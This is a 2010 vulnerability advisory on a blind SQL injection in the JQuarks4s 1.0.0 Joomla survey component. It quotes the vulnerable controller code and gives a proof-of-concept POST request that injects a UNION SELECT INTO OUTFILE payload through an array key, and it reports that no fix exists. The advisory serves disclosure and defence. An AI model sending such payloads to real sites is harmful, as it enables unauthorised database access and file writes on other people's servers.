Joomla JQuarks4s 1.0.0 Blind SQL Injection

`JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability  
  
Name JQuarks4s  
Vendor http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys  
Versions Affected 1.0.0  
  
Author Salvatore Fresta aka Drosophila  
Website http://www.salvatorefresta.net  
Contact salvatorefresta [at] gmail [dot] com  
Date 2010-11-08  
  
X. INDEX  
  
I. ABOUT THE APPLICATION  
II. DESCRIPTION  
III. ANALYSIS  
IV. SAMPLE CODE  
V. FIX  
  
  
I. ABOUT THE APPLICATION  
________________________  
  
A Joomla 1.5 free and open source tool for online surveys  
and statistical analysis.  
  
  
II. DESCRIPTION  
_______________  
  
A parameter is not properly sanitised before being used  
in a SQL query.  
  
  
III. ANALYSIS  
_____________  
  
Summary:  
  
A) Blind SQL Injection  
  
  
A) Blind SQL Injection  
_______________________  
  
Input passed to the "q" parameter in when "option"  
is set to "com_jquarks4s" and "task" to "submitSurvey" is  
not properly verified before being used in a SQL query.  
This can be exploited to manipulate SQL queries by  
injecting arbitrary SQL code.  
  
The following is the vulnerable code (controller.php):  
  
  
function submitSurvey()  
{  
// get post data  
$data = JRequest::get('post');  
  
...  
  
$questions = $data['q'];  
// debug  
//var_dump($data);exit;  
foreach ($questions as $question_id => $question) :  
  
$type_id = (int)$question['type_id'];  
  
switch ($type_id) :  
  
...  
  
case 4:  
// recuperer les row_id du question_id  
$rowsDB = $sessionModel->getRows($question_id);  
  
  
So, $question_id is a key of the array "q" and type_id  
his value. Therefore the injection is possibile by  
inserting arbitrary SQL code as the key of the array and  
4 as his value.  
  
  
IV. SAMPLE CODE  
_______________  
  
A) Blind SQL Injection  
  
Try to send the following packet to your test server.  
Ensure that magic_quotes_gpc is set to off in order to  
use the following test.  
  
  
POST /path/index.php HTTP/1.1  
Host: target  
Content-Type: application x-www-form-urlencoded  
Content-Length: 97  
  
option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4  
  
  
Note that if you want to use the '=' character, you must  
covert it in URL encode format (%3D), otherwise the value  
4 needed for the injection cannot be read.  
  
  
V. FIX  
______  
  
No fix.  
  
`